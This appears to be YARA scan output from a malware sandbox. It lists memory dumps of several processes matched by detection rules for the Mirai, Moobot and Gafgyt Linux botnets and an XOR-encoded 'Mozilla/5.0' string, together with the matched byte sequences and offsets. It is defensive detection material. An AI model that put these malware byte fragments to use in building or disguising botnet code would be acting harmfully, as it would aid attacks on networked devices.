7121.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7121.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6650.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6583.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6583.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6583.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6583.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6583.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6583.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6668.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6668.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6668.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6668.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6668.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6668.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6804.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6877.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6352.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6644.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6644.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6644.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6644.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6644.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6644.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6273.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6273.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6273.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6273.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6273.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6273.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6276.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6276.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6276.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6276.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6276.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6276.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
